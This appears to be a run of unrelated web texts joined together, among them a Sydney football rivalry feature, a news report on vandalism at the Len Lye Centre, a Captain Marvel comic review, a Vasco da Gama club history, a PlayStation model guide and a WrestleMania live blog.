I love the LDS Church. I haven’t found anything that makes more sense. I sin, I see anti-Mormon literature, the work is hard sometimes, I don’t understand every single thing that has come out of every Church leader’s mouth, and I’ve been offended a time or two…but the things I know…I know…and that is why I keep coming back.It is the force behind "the fibros against the silvertails" and underlines the cultural difference between rugby union and rugby league. According to Professor David Rowe of the institute of Culture and Society at the University of Western Sydney, this rhetoric now fuels the rivalry between Sydney FC and Western Sydney Wanderers. Bloc party: The Wanderers' fans have quickly earned a reputation as the most vibrant and boisterous in the league. Credit:Brendan Esposito "It draws on a well-established narrative; some people who feel born to rule and others who have to fight against it," Professor Rowe said. "The split that is happening in football in particular draws on a longer history within the city in general... This has become the instant narrative for these two teams, one of which is very new but has created the rivalry and given it its impact. It's one part marketing but it's one part cultural." Irrespective of how valid cultural differences are in contemporary society, the perceptions are strong. The sentiments of the city's affluence had some influence on the blueprint of Sydney FC. The A-League's historic glamour club bears the most iconic landmark on its badge, and is based near the centre of town in a sign of a desire shared with the ambitions of the harbour city. They sought Gianluca Villa, Roy Hodgson and Ari Haan as their first coach and Roberto Baggio and Rivaldo as marquees, eventually settling for Pierre Littbarski and Dwight Yorke. Their early tag of "Bling FC" was unwanted, but it reflected the perceived attitude of the city.
"We wanted to be the Manchester United or Juventus of Australian football – not in terms of size, style or pretensions but in terms of how they polarised football fans; adored and defended by their own, disliked and attacked by the opposition," Sydney's first chairman Walter Bugno said. "We wanted to become a brand and we wanted to symbolise all that is exciting about the great city that Sydney is." By contrast, the Wanderers aimed to be Australia's biggest community club. Former chairman Lyall Gorman wanted the fans to feel a sense of ownership of their football team. "The objective was always to create a club that was by the people and for the people," he said. Fans shaped the club through seven public forums held across the western Sydney region. In perhaps the most multicultural region on earth, uniting the various groups was as clever as it was necessary. "That passion was already there, it was about building a set of values that bring those [cultures] together as one," Gorman said."There were three fundamentals people of the west wanted from us: be competitive, stand up for us and make us proud."New Hampshire tourism officials are closely watching political developments in the Trump administration and overseas as they prepare for the summer and fall travel seasons when they see most of their international visitors.
“I have a concern that we’re going to see a dip from our key markets, which would be the United Kingdom and Germany, but that has as much to do with their politics as it does with ours, with Brexit and the whole currency situation over there,” said Marti Mayne, who markets attractions for the Mount Washington Valley Chamber of Commerce in northern New Hampshire.
She and others in the tourism business attended the New Hampshire Travel Council‘s annual Governor’s Conference on Tourism on Tuesday in Concord.
“It’s a little early to know what’s going to happen, but we’re concerned,” Mayne said.
Keynote speaker Mike Fullerton, a spokesman for Brand USA, the nation’s public-private partnership dedicated to promoting international travel to the U.S., said politics impacts travel. He said international travelers surveyed recently said that politics will have an impact on whether they’re going to visit the U.S.
Fullerton said, for example, there’s been “a lot of tough talk” about Mexico that has an impact there. He said new efforts would be made to reach potential tourists in Mexico. He said ad campaigns are tailored to each country, but that U.S. attractions, including New Hampshire ones, such as its beaches, still exist “no matter who’s in office.”
Republican President Donald Trump suspended new visas for people from six Muslim-majority countries and halted the U.S. refugee program, citing safety concerns. Federal judges have blocked those actions. He also vowed during the presidential campaign to erect a wall along the U.S. border with Mexico.
New England has seen an uptick in international visitors in recent years. International growth is outpacing domestic growth in the region, said Victoria Cimino, director of new Hampshire’s Division of Travel and Tourism Development. She said New England received an estimated 2.1 million international visitors in 2015 who spent about $2.1 billion.
She said the United Kingdom and Canada continue to be strong markets in New Hampshire, as are Germany, France, Italy, Ireland and Japan. She said Australia and New Zealand are emerging markets. The allure of the New England region is the draw.
“We always keep an eye on the United States and the perception of the United States as a welcoming travel destination,” Cimino said. “We have zero intention of pulling back on our international marketing effort. We will maintain the work that we do to continue to promote New Hampshire as a hospitable, welcoming place to visit.”
This article was written by Kathy McCormack from The Associated Press and was legally licensed through the NewsCred publisher network. Please direct all licensing questions to [email protected] Len Lye centre was vandalised over the weekend with someone throwing paint bombs from a car.
Drive by vandals have paint bombed New Zealand's leading contemporary art gallery and its director is out to catch the culprits.
At least two water balloons filled with what looked like white paint were thrown at New Plymouth's Govett-Brewster Art Gallery/Len Lye Centre on Saturday night, splattering the pristine stainless steel facade on Devon St West with white dots.
Centre director Simon Rees said he noticed the vandalism he was walking to work on Monday morning.
Len Lye Centre It's believed water balloons filled with white paint were thrown at the Len Lye Centre from this car on Saturday night.
"[There were] little bits of balloon inside it so I realised that somebody had tried to paint bomb the building, more than likely on the weekend," he said.
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* New Plymouth welcomes its Len Lye Centre
* New Plymouth's Len Lye Centre celebrates first birthday
* Len Lye Centre Tuesday closure confusion
* Len Lye Centre is the jewel in the crown
Rees said surveillance footage showed a car slowing down "to sling a few paint bombs out the window at the Len Lye Centre" at 11.57pm on Saturday.
ANDY JACKSON/Fairfax NZ Len Lye Centre director Simon Rees has reported the incident to police.
"We can identify the make of the car. We're currently working with our security partners Datatalk and the New Zealand police force to identify the number plate on the vehicle and we'll have the police follow through accordingly," Rees said.
"Do this stuff at your own peril. This is a community asset, an important and beloved building of New Plymouth and New Zealand. This will not be tolerated."
Rees said those responsible were not only hurting the gallery but the community as a whole.
ANDY JACKSON/Fairfax NZ The footpath and centre's facade need cleaning.
"The building has become a national icon, it's beloved of the people of New Plymouth, it's talked about in the first breath when people are talking about our city now, so they're doing the whole community a disservice when acting like this."
Rees said he was looking to prosecute those involved and hoped footage from security cameras on the Clock Tower and Venture Taranaki headquarters would provide the evidence needed to identify the culprits.
"I've already reported to the police this morning and it will be in their hands to make a discussion on how they proceed, but I'd like to see those people made an example of."
ANDY JACKSON/Fairfax NZ Video footage of the drive-by balloon bombing has been passed onto police.
Thankfully the "paint bombs" did not explode on the facade and only splatters hit the famed reflective wall.
"They didn't have the best aim, but the surfaces and the pavement will have to be cleaned as well," Rees said.
"Certainly the prosecution will involve recompense for that cost. It will be up to New Plymouth District Council's city care workers to determine how much.
It's not the first time the gallery has been targeted.
During the construction period paint pellets were fired at the building which prompted the purchase of security camera "to discourage any such action happening again".
Rees said the facade's fabricators Rivet had been called to ensure any cleaning methods employed to get the splatters off didn't damage the surface.Each week, Big Issues focuses on a newly released comic book issue of significance. This week it’s Captain Marvel #1. Written by Kelly Sue DeConnick (Osborn, Supergirl) and drawn by newcomer Dexter Soy, it’s the beginning of a new era for Carol Danvers, who is giving up her Ms. Marvel identity to take on the mantle of “Earth’s Mightiest Hero,” Captain Marvel.
It’s not easy being a female superhero. Except for Wonder Woman, most superheroines are just the female versions of their male counterparts, and when it comes to headlining an ongoing series, unless the character has “Bat” or “Super” in her name, the market isn’t very friendly. This past year saw superheroines taking some major blows; Marvel cancelled the last few female-focused ongoings it had left, and DC erased some of its strongest women as the New 52 sparked a heated debate regarding female portrayals in comics. (The current debacle at DC over the Stephanie Brown Batgirl is particularly troubling, as DC has done everything in its power to make ensure that Barbara Gordon is the only Batgirl in its current timeline. Why can there be multiple Batmen, multiple Robins, multiple Green Lanterns, but only one Batgirl?) There’s always been a distinct lack of female legacy characters in comics, and the few legacies that are carried on by women are usually ones originated by men. Batgirl is one of the few mantles that have been carried by multiple women, and multi-dimensional characters like Cassandra Cain and Stephanie Brown have been wiped out in favor of one singular iconic hero. Barbara Gordon isn’t any less interesting than these two women, but DC’s decision to get rid of characters with an actual female fan base is puzzling.
Marvel doesn’t have a flagship female character like DC’s Wonder Woman, but the rebranding of Carol Danvers as Captain Marvel is the company’s attempt to give the character the spotlight she deserves. Marvel’s smartest decision with Captain Marvel is putting Carol Danvers in the hands of Kelly Sue DeConnick, a writer who has proven herself adept at writing strong female leads with her work on Supergirl, Rescue, and Sif. There’s some heavy-handed dialogue at the start of the issue as Carol and Captain America team up to take down an ultra-chauvinistic Absorbing Man, but it’s part of the writer’s aggressive effort to make sure Carol is viewed with the same respect as Captain America and Spider-Man. While it comes off as forced during the opening fight, Carol’s conversations with Steve Rogers and Peter Parker later in the issue get the same idea across in a subtler manner.
Carol’s new look is strongly influenced by the old Captain Marvel costume, and with the change in uniform, Captain America thinks it’s time for her to “quit being an adjunct” and take on the Captain Marvel title, and all the expectations that come with it. That discussion continues when Carol spars with Spider-Man, and it’s clear that she’s made a decision, but isn’t fully confident in embracing it. Carol has already proven herself worthy; she’s just not ready to accept the recognition she deserves. Her conversations with her fellow Avengers could be viewed as Carol seeking male approval for her career change, but if appearances by Captain America and Spider-Man help sell copies of this first issue, they can be excused.
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Having grown up on Air Force bases, DeConnick brings her military knowledge to Carol, who served as an Air Force Colonel before gaining alien superpowers. Carol has an incredibly convoluted backstory, but DeConnick skips over all the cosmic incest-rape (the ’80s were unkind to Ms. Marvel) and focuses on Carol’s military background to bring focus to the title. This first issue introduces Helen Cobb, a record-breaking female pilot whom Carol looked up to growing up, and it’s interesting DeConnick focuses on Helen’s legacy rather than Mar-Vell’s. The previous Captain Marvel may have been the person that gave Carol her powers when he saved her from the Psyche-Magnetron device (DeConnick wisely rushes through Carol’s extremely Silver Age origin), but Helen is being set up as the Uncle Ben to Carol’s Peter Parker: the person who teaches her how to be a hero before she gets the powers. Helen’s introduction comes via her obituary, and while it would have been nice to see more of Carol’s past interactions with her mentor before learning of her death, it looks like their relationship will be further explored in later issues.
Like Geoff Johns’ early Green Lantern issues, Captain Marvel #1 puts an emphasis on the thrill of being a pilot and how being a superhero both intensifies and diminishes that rush, giving a personal perspective to Carol’s powers. There’s a short bit of Carol lamenting the loss of risk that comes with gaining her abilities, but as she reaches out and touches outer space, she realizes what a gift she’s been given. One of the issue’s strongest sequences comes when Carol relaxes at the edge of Earth’s atmosphere, freefalling at Mach 3, absorbing the heat and turning it into pure adrenaline as she decides to take on the Captain Marvel name. That sense of appreciation is something rarely shown in modern superhero stories, and despite the last scene taking place at a funeral, the issue ends on an uplifting note.
DeConnick is joined by Dexter Soy, who pencils, inks, and colors the issue. He’s a capable artist, but his muted color palette gives the book a chilliness that works against DeConnick’s sunny script. The opening action sequence has some awkward anatomy and muddy storytelling, but Soy’s art improves during the less chaotic scenes. The personal story would benefit from a more expressive artist; the bright Ed McGuinness cover is the kind of style that fits this new interpretation of Captain Marvel. DeConnick will be joined by her Osborn collaborator Emma Rios for an upcoming arc, and Rios’ fluid, animated artwork is just what this book needs to become a complete package.
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Jamie McKelvie’s new design for Captain Marvel is the best superheroine costume since J.H. Williams’ Batwoman, using Carol’s Air Force background as the inspiration for her sleek, primary-colored flight suit. Like Williams’ design (and Darwyn Cooke’s now-classic Catwoman redesign), Captain Marvel’s new look is focused on function, with just enough visual flourish to make it pop on the page. The sash around the waist is a connection to her previous costume, and DeConnick makes sure to show how it can be used in combat when Carol suffocates Absorbing Man with the Stark-made fabric. It’s also a nice design touch that adds playfulness and femininity to the costume, and when she takes it off, it means she’s about to kick some ass. The jury is still out on Carol’s pinned-back hairstyle, though, which has this weird mullet-mohawk effect that is not a good look for anyone. Carol should just cut it all off and complete her transformation into the Starbuck of the Marvel Universe. If DeConnick can make Captain Marvel as popular as Battlestar Galactica’s hotshot fighter pilot, Marvel Comics might finally get that flagship superheroine it’s been looking for.Team photo from the 1934 season
Club de Regatas Vasco da Gama ( Brazilian Portuguese: [ˈklubi dʒi ʁɛˈgataʃ ˈvaʃku dɐ ˈgɐ̃mɐ]); is a Brazilian football club that was founded on August 21, 1898 (although the professional football department started on November 5, 1915),[2] by Portuguese immigrants, and still has a strong fanbase among the Portuguese community of Rio de Janeiro. It is one of the most popular clubs in Brazil, with more than 20 million supporters.[3]
Its statute defines the club as a "sportive, recreative, educational, assistant and philanthropic non-profit organization of public utility".[4]
Their home stadium is São Januário, with a capacity of 21,880,[1] the third biggest in Rio de Janeiro (after Maracanã and Engenhão), but some matches (especially the city derbies) are played at the Maracanã (capacity of about 80,000). They play in black shirts with a white diagonal sash that contains a Cross pattée, black shorts and black socks.
The club is named after the Portuguese explorer Vasco da Gama.
History [ edit ]
Foundation [ edit ]
In the late 19th century rowing was the most important sport in Rio de Janeiro. At this time, four young men – Henrique Ferreira Monteiro, Luís Antônio Rodrigues, José Alexandre d'Avelar Rodrigues and Manuel Teixeira de Souza Júnior – who did not want to travel to Niterói to row with the boats of Gragoatá Club decided to found a rowing club.
On August 21, 1898 in a room of the Sons of Talma Dramatic Society, with 62 members (mostly Portuguese immigrants), the Club de Regatas Vasco da Gama (Vasco da Gama Rowing Club) was born.
Inspired by the celebrations of the 4th centenary of the first sail from Europe to India, the founders chose the name of the Portuguese explorer Vasco da Gama to baptise the new club.
Football was included only with the fusion with Lusitania Clube, other mostly Portuguese immigrants club.[5] Beginning in the smaller leagues, Vasco became champion of the league B in 1922 and ascended to league A. In its first championship in League A – in 1923, Vasco became champion with a team formed by whites, blacks and "mulatto" players of different social classes.
Fight and victory against racism [ edit ]
Football in Brazil back then was a sport for the elites, and Vasco da Gama's racially diverse squad didn't appease them. In 1924 Vasco da Gama was pressured by the Metropolitan League to ban some players that were not considered adequate to play in the aristocratic league, notably because they were black or mulato and/or poor. After Vasco refused to comply with such a ban, the other big teams, Fluminense, Flamengo and Botafogo, among others, created the Metropolitan Athletic Association and prohibited Vasco from participating unless it complied with the racist demands.
The former President of Vasco, José Augusto Prestes, responded with a letter that became known as the Historic Response (resposta histórica),[6] which revolutionised the practice of sports in Brazil. After a few years, the racism barriers fell. Vasco da Gama had led the move toward a more inclusive football culture, forward-thinking not employed by leaders from Fluminense, Flamengo and Botafogo.
Even though the club was not the first to field black players, it was the first one to win a league with them, which led to an outcry to ban "blue-collar workers" from playing in the league - a move that in practice meant barring blacks from playing.
In 1925 Vasco was readmitted into the "elite" league, with its black and mulatto players. By 1933, when football became professional in Brazil, most of the big clubs had black players in them.
Sporting Achievements [ edit ]
The Victory Express and the South American Club championship [ edit ]
Between 1947 and 1952, the club was nicknamed Expresso da Vitória (Victory Express), as Vasco won several competitions in that period, such as the Rio de Janeiro championship in 1945, 1947, 1949, 1950, and 1952, and the South American Club Championship in 1948. Players such as Ademir, Moacyr Barbosa, Bellini and Ipojucan starred in Vasco's colours during that period.
1969 Pelé's 1,000th Goal [ edit ]
Pelé scored his 1,000th professional goal against Vasco on 19 November 1969, in front of 65,157 spectators.[7] The goal, popularly named O Milésimo (The Thousandth), occurred in a match against Vasco, when Pelé scored from a penalty at the Maracanã Stadium.[8]
1998 Copa Libertadores [ edit ]
After winning the Campeonato Brasileiro in 1997, beating Palmeiras in the final, Vasco started its Projeto Tóquio, and invested US$10 million to win the 1998 Copa Libertadores. Vasco won the Copa Libertadores, beating Barcelona of Ecuador in the final.
1998 Toyota Intercontinental Cup [ edit ]
By winning 1998 Copa Libertadores, Vasco da Gama faced the UEFA Champions League winners Real Madrid at 1998 Intercontinental Cup, in Tokyo, Japan. They lost the game 2–1.
2000 FIFA Club World Championship [ edit ]
By winning the 1998 Copa Libertadores, Vasco entered the inaugural 2000 FIFA Club World Championship held in Brazil. They beat Manchester United, Necaxa and South Melbourne in the group stage to reach the final, it finished 0–0 after extra time in an all-Brazilian clash with Corinthians but lost 3–4 in the penalty shootout.
Copa Mercosul [ edit ]
Also in 2000, Vasco won the Copa Mercosur against Palmeiras in a historic match. Trailing 3-0 at the end of first-half, with Palmeiras scoring 2 goals in less than a minute, Vasco managed to score 3 goals to level the match at 3–3. In the 93rd minute, Romário scored a decisive goal and Vasco won the match (4-3).[9] The match is still considered one of the best games in Brazilian history.[10]
2000 Copa João Havelange [ edit ]
Vasco won the Copa João Havelange in 2000. Seen as a controversial competition organised by Clube dos 13 rather than CBF, Vasco took on São Caetano and drew the game 1–1 when disaster struck in São Januário Stadium. Vasco won the second leg 3–1 to lift the trophy.
Vasco shirt
2008 Campeonato Brasileiro [ edit ]
The team finished the championship in a disastrous 18th place and was relegated to the second division for the first time since its foundation, 110 years before. Up until the relegation, it was one of the only six clubs to have never been relegated from the first division, along with Cruzeiro, Flamengo, Santos and São Paulo,[11] (though the last two didn't participate in the 1979 Brazilian Championship's 1st division,[11] in order to avoid conflicts with Paulista Championship schedule.)
2009 Campeonato Brasileiro [ edit ]
Vasco secured their return to Serie A at the first time of asking, sealing promotion on 7 November with a 2-1 victory over Juventude at Maracanã.
2011: The Redemption Year [ edit ]
After failing to win the Copa do Brasil, Vasco da Gama found success in 2011, lifting that year's trophy. Victory came against Coritiba in the 2011 Copa do Brasil final. Vasco came second in the 2011 Brazilian Série A, enjoying an excellent campaign. The club also ended the year as semifinalists in the Copa Sudamericana, a competition that saw the club defeat Palmeiras, Aurora and Universitario in historic fashion before being eliminated by Universidad de Chile. The season was dubbed the "Redemption Year of Vasco da Gama", with many lauding Vasco as one of Brazilian football's elite teams once again.
2012: Campeonato Brasileiro and Libertadores [ edit ]
In 2012, Vasco was a finalist in the two final rounds of the Campeonato Carioca, after beating Flamengo in the two semifinals. Vasco saved their best performances in that year for the Copa Libertadores. After a good campaign the team was eliminated in the quarterfinals by Corinthians, who landed an 88th minute goal to snatch victory. In the Brazilian Championship, the team set the record for 54 consecutive rounds in the G4 (continuing from the 2011 and 2012 seasons), although they did ultimately did not qualify for the Libertadores the following year.
2013: Campeonato Brasileiro [ edit ]
After a good season in 2012, Vasco started a 2013 poorly and were hampered by financial issues. By the end of the year, the club had been relegated for the second time.
Other sports [ edit ]
Although best known as a football, rowing and swimming club, Vasco da Gama is actually a comprehensive sports club. Its basketball section, CR Vasco da Gama Basquete (twice Brazilian champion and twice South-American champion) produced current NBA player Nenê. The club is also the first Brazilian club to play against an NBA team. In 1999, the club played the McDonald's Championship final against San Antonio Spurs. Its rowing team is one of the best of Brazil. Its swimmers regularly represent Brazil in international competitions. Vasco da Gama also has a presence in many other sports.
Players [ edit ]
First team squad [ edit ]
As of 18 January 2019, according to the official website.[12]
Note: Flags indicate national team as defined under FIFA eligibility rules. Players may hold more than one non-FIFA nationality.
No. Position Player No. Position Player
Reserve team [ edit ]
Note: Flags indicate national team as defined under FIFA eligibility rules. Players may hold more than one non-FIFA nationality.
No. Position Player
Out on loan [ edit ]
Note: Flags indicate national team as defined under FIFA eligibility rules. Players may hold more than one non-FIFA nationality.
No. Position Player No. Position Player
Personnel [ edit ]
Technical staff [ edit ]
Position Name Head coach Alberto Valentim Assistant coach Ramon Menezes The field manager Paulo César Gusmão
Honours [ edit ]
Unbeaten champions
Statistics [ edit ]
Explanation:That athletes such as Eric Cantona, Arnold Schwarzenegger, Vinnie Jones and Mike Tyson have ended up acting should come as little surprise. The skills, thrills and personalities involved in the two professions are intriguingly similar
This time last year I was recovering from surgery and there was time to think about my age and impending expiration as a squash player. It’s good to feel that age is no barrier but, as sure as eggs is eggs, there’s a limit on a professional squash career. So at 32 years young, with five months off and a tired hip, it all became a bit more – what’s the word – real. Fetch the violin.
I did some different things. I squeezed in a course, which was a real novelty; life as a squash player means no week is ever the same, so it’s virtually impossible to commit to anything like that. And there was plenty of theatre too; one of the trips was with my girlfriend Vanessa and her parents to watch a group called Adel Players in North Leeds. I hadn’t seen a lot of amateur theatre and their production of Rutherford and Son was so impressive.
A week later, still housebound and having exhausted all eating and drinking options in the Har
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sealed bag of marijuana, six smaller bags of marijuana and eight jars of the drug all in a canvas bag on the front passenger side floor.
Police said they also discovered a digital scale with marijuana residue, cigars, empty plastic bags and other suspected drug paraphernalia.
Suliveres was charged with various drug-related offenses, including possession of marijuana over 50 grams and distribution of marijuana, police said. He was ordered held at the Bergen County Jail in lieu of $17,000 bail with no 10 percent option.
Noah Cohen may be reached at [email protected]. Follow him on Twitter @noahyc. Find NJ.com on Facebook.Sony released several versions of the original Playstation since it’s birth in December 1994. There were some hardware problems in earlier models that were later resolved with changes in later console revisions. There are also some interesting and rare developer consoles that were released. This is a guide to help you understand all of the changes and differences in models.
Consoles and Colors:
There are two main revisions of the Playstation, the original Playstation and the smaller sleeker PSone. I will refer to these as the Playstation and PSone respectively from here on out. Several versions of the Playstation were released, with each eliminating some of the ports located on the back of the console. The PSone was released about five years after the Playstation and required an external DC power supply compared to the internal power supply in the Playstation.
Sony also released a Development Kit to the public called the Net Yaroze. This console allowed programmers to develop and test games on Playstation hardware. These consoles are textured black and are highly sought after, bringing a high price tag to this day. There were also debugging consoles that were made mainly for demonstration purposes. These debugging consoles were made with blue, grey and green shells, and are also sought after in the collecting community. It is important to note that pretty much all of the development and debugger consoles are region-free and can play Playstation games from anywhere.
The Playstation ‘Bad Laser’ or ‘Overheating’ Issue:
Some of the early models had a laser with plastic moving parts. The plastic would wear and warp over time with use and from the heat of the console, leading to the laser not reading disks properly. Turning the console upside-down would prevent the laser from running on these warped plastic rails.
Sony replaced these lasers in the SCPH-5500 models and later with ones made of metal parts. Keep in mind that this does include the models with the audio and video RCA jacks on the back of the device. While some believe that these have superior audio, I have yet to find a good source that accurately compares the models. If you do know of one, please leave it in the comments below.
Ports and Jacks:
As new models of the Playstation 1 come out over the years, the ports on the back of the console also changed. Below is a chart showing the progression of the consoles and which ports they have.
Ports Image Notes SCPH-1000
Through
SCPH-5000 Parallel Port
Serial Port
A/V RCA Outs
RFU DC Out
AV Multi Out
AC In This range of models have the most ports available on the back of the console. They are slightly more sought after because of this. Models in this range did suffer from FMV skipping due to the laser. SCPH-5500
Through
SCPH-7503 Parallel Port
Serial Port
AV Multi Out
AC In This generation fixed the FMV skipping issue redesigning the laser and CD tray. The RCA outputs were also removed. SCPH-9000
Through
SCPH-9003 Serial Port
AV Multi Out
AC In This revision featured a redesigned circuit board to reduce cost. It also added the SoundScope visualization when playing audio CD’s. The Parallel Report was also removed. SCPH-100
Through
SCPH-103 AV Multi Out
DC In The slim model redesign removed the serial port and featured a much smaller form factor. This console requires an external power adapter for the DC in.
There are four exceptions to this chart:
1) The original SCPH-1000 that was released only in Japan included an S-Video output on the back of the console along with the RCA jacks in the early SCPH-1001 models.
2) Sony also released a promotional Men in Black edition of the Playstation. This console has a glossy black shell with the Men in Black logo painted on the lid. The model number for this edition is SCPH-5502.
3) Model SCPH-5903 is a special model that can play VCD discs. This model was only released in Japan and is the only larger Playstation that has a white shell. The console has the text Video CD printed on the top right corner of the shell. This model also has AV RCA jacks on the back along with Parallel and Serial ports.
4) As a celebration for the 10th million Playstation sold, Sony released a special Midnight Blue edition of models SCPH-7000, SCPH-7001, and SCPH-7002. This console featured a dark blue shell.
Ports:
The earliest models of the playstation came with the most ports. From left to right looking at the back of the console, these ports are: the Parallel I/O, Serial I/O, RCA Audio Out (R+L), RFU DC Out, RCA Video Out, AV Multi Out, and AC In. Here is a breakdown of what these do:
1) Parallel I/O: This port can be used by cheat devices such as the Game Shark and Game Enhancer. No official Sony products supported this port and it was later removed from the design starting with the SCPH-9000 model.
2) Serial I/O: The Playstation Link Cable used this port. The link cable would connect two Playstations together allowing two people to play multiplayer on two separate consoles and TV’s. Only certain games supported this functionality.
3) RCA Audio Out (R+L): RCA audio outputs allow you to use standard RCA cables to connect the console to your TV without the use of the proprietary A/V cable.
4) RFU DC Out: This is a power connection for an external RF modulator that would be used to convert the standard analog video and audio to an RF signal. Older TV’s did not have RCA inputs, meaning they needed this device to send signal from the Playstation to the TV. Sony would later release an RF cable for the AV Multi Out port and remove this port from the Playstation.
5) RCA Video Out: RCA video output would allow you to use a standard RCA cable to send video from the Playstation to the TV.
6) AV Multi Out: This is the proprietary connector Sony used for audio and video output. The standard AV cable had audio and video RCA jacks. There were also AV cables that had S-video and RF connections.
7) AC In: This port is used to connect the internal power supply to a wall outlet. It is a standard IEC60320 cable that uses a C8 connector. You may also hear these cables referred to as figure-8 cables.
8) DC In 7.5V: The PSone model did not have an internal power supply and therefore needed an external one to turn on. You can use a universal power supply as long as it does meet the 7.5V requirement. Keep this in mind when buying a used console, as it is easier and cheaper to replace a power cable on a Playstation compared to a PSone.
Region Codes:
Playstations are region locked, so keep this in mind when purchasing imports. Each region will also have a different power source pertaining to that region’s power requirements. Each Playstation will be region-locked to one of the following regions:
0 – Japan
1 – USA/Canada
2 – PAL (Europe/Australia)
3 – Asia
You can tell which region a console is by looking at the model number posted on the bottom of the console. The last digit will indicate the region specified above.
It is important to note that while all of the normal consoles are region-locked, the Debugger and Net Yaroze consoles are able to play all regions without modifications.
So, Which Should I Buy?:
If you are looking to buy a Playstation to play and enjoy, you should probably look into getting a later model with a better laser. Look for a model of SCPH-5500 or later. These will typically last longer and cause you the least issues. It should not be too hard to find one of these for cheap. The PSone is also a great console that has an incredibly small form factor which can be very convenient. These consoles never had laser issues the big models did.
If you are a collector or like oddball consoles, keep an eye out for any of the special models specified above. Some of these are extremely rare and fetch a high price.Before WrestleMania 33, I had never watched a minute of pro wrestling in my life.
I knew the wrestlers played characters, but how much of it was acting? I knew they wore sparkly tights, lots of makeup, and beat each other up before someone tapped out and the victor won a belt. But was he or she truly the victor? Wasn’t it all decided beforehand? Did they actually hurt each other? What — to put it more simply — on God’s green earth is wrestling all about?
So I watched WrestleMania 33 in search of knowledge. I also live blogged the experience. Here is my journey.
TO SET THE SCENE
It’s Sunday night. I’ve bought a subscription to the WWE Network which I fully intend to cancel on Monday before the free month runs out. I have snacks (dried peaches, for some reason), because I’m expecting the 13 matches to last approximately 30 years.
I’m ready to enter the world of wrestling for the first time.
LET’S GOOOOO!
WrestleMania is apparently hosted by these three dudes in a wrestling collective (not sure that’s a thing, but gonna roll with it) called New Day. They're wearing red chaps, speedos, capes, and cowboy hats bedazzled with more Swarovski crystals than one of those Vaseline tubs Tyra Banks once gave out on her talk show. They don't do much as hosts besides announce that they are the hosts.
We’re on to the first match.
AJ STYLES vs. SHANE MCMAHON
The entrance ramp to WrestleMania is as long as a football field, so it takes hours for these guys to walk into the ring. AJ Styles makes the trek first. He’s wearing red, white, and blue tights, no shirt, and has the most luscious hair I’ve ever seen on a man.
The timing of the wind kicking up was... phenomenal. pic.twitter.com/eRGudUfwXd — TDE Wrestling (@totaldivaseps) April 2, 2017
His opponent is Shane McMahon, who is WWE tycoon Linda McMahon’s son. Linda is now the United States’ administrator of the Small Business Administration because Donald Trump is the president, and Donald Trump shaved Linda’s husband Vince’s head at WrestleMania 10 years ago. In other news, we’ve officially gone through the looking glass.
These wrestlers are older than I thought they'd be. They look like your middle-aged, elementary school gym teacher ate too much creatine, developed serious rage issues, and lost his cool at one too many indoor dodgeball games before the principal was like “Holy shit, Mr. Mahon is freebasing protein powder again, someone call the union.”
I gasp as AJ Styles bounces off the ropes and flips around. The dude has swagger. He looks to the crowd. He struts. He hears the screams. He loves the screams. He feeds on the screams.
Meanwhile, Shane is just losing. AJ hits him in the head as he slumps against the ropes looking dazed and confused. He’s not trying to fight back.
What’s wild to me about WWE is that you just let other people beat you up to ensure a performance that will please fans. You’re playing a role, and sometimes you have to lose for the greater good of the show. It’s a strange variety of selflessness mixed in with incredible ego — you are still, after all, in the ring in front of millions of people. It’s strangely moving.
The referee gets hit in the face and he’s down for the count. Shane brings a straight-up Oscar the Grouch-style trash can into the ring, puts AJ up against the ropes, makes him hold the trash can, and leaps off the ropes, drop kicking the trash can into AJ’s face.
Shane then climbs up onto the top rope again as AJ lies on the mat, spread eagle, staring up at Shane with the fear of God in his eyes. Shane launches himself off the ropes once more, but AJ rolls out of the way, so Shane crashes onto the mat.
In the waning light of the humid Florida evening, AJ writhes in pain from the whole trash can fiasco. Shane rolls around, pouring sweat, trying to breathe after knocking the wind clean out of himself.
This. Is. Insane.
AJ pins Shane. AJ wins. I like AJ, but I’m not sure I’m supposed to.
KEVIN OWENS vs. CHRIS JERICHO
Kevin Owens and Chris Jericho used to be best friends, but then Kevin Owens stabbed Chris Jericho in the back, claiming they weren’t ever really friends. This fight is a rematch of their best friend breakup in Vegas, where Kevin Owens beat the daylights out of Chris Jericho. I know this because the promotional videos the WWE shows before each match are works of art.
Chris Jericho is wearing a tiny, sparkly speedo, knee-high sparkly boots, and a scarf with Christmas lights blinking on it. Kevin Owens is wearing an ugly black tank top and some boring black pants. If this were a battle of the outfits, Kevin Owens wouldn’t stand a chance.
Watching these two wail on each other is heartbreaking; best friend breakups can be just as devastating the end of romantic relationships. This feud is made even worse because Kevin Owens used to revere Chris Jericho when he was little, and would watch Chris Jericho in the ring.
NEVER MEET YOUR HEROES, PEOPLE.
In other news, had I comprehended how much human drama wrestling involves, I would've gotten into WWE way sooner. I can't resist a good narrative. I’m powerless in the face of speculative gossip.
“You don’t have any friends!” Kevin Ownes yells at Chris Jericho. He also yells, "You were never my best friend!" and "You're a piece of trash!"
It’s the meanest heckling I’ve ever heard. I can’t tell if the emotional pain is real (the physical pain definitely is), but the ability to act through all of it and put on a show while your ribs are splintering into a million tiny pieces is astounding regardless.
Chris Jericho pins Kevin Owens, but Kevin Owens has a finger on the rope, which appears to be the wrestling version of a Get Out of Jail Free card. It’s a brilliant move, judging by the reaction it’s getting from the crowd.
Kevin Owens wins. I hate Kevin Owens.
CHARLOTTE FLAIR, BAYLEY, SASHA, AND NIA JAX
Here is what I think about each of the women competing in this four-way elimination match:
Bayley is the Lisa Frank of wrestling. She wears bright colors, reminds me of Punky Brewster, and comes across as very kind, which is impressive, given that she beats people up for a living.
I obviously like Charlotte the best. Yes, we have the same name, but she’s also a total boss who wears medieval capes.
Nia Jax is the most intimidating human I’ve ever laid eyes on; she’s a formidable, close to 300-pound woman who is stunningly beautiful and probably eats the ground-up bones of her opponents for breakfast.
Sasha Banks rides in on a chariot and has flowing pink hair. I’m here for it.
Bow down to THE QUEEN as @MsCharlotteWWE walks the same ramp as @RicFlairNatrBoy did nine years ago! #WrestleMania pic.twitter.com/ufofPSmU8y — WWE WrestleMania (@WrestleMania) April 3, 2017
They start wrestling, and if a woman ever looked at me the way Charlotte is looking at her opponents, I’d start to cry and sprint away as fast as I could. She just cork-screwed off the top rope onto all three of the other wrestlers.
Charlotte, Bayley, and Sasha quickly realize that the only way they stand a chance against Nia Jax is to team up against her, so they do, and she’s kaput. Sasha also gets eliminated.
Now Charlotte has Bayley’s leg in a figure four. I have a blanket over my eyes because it hurts too much to watch.
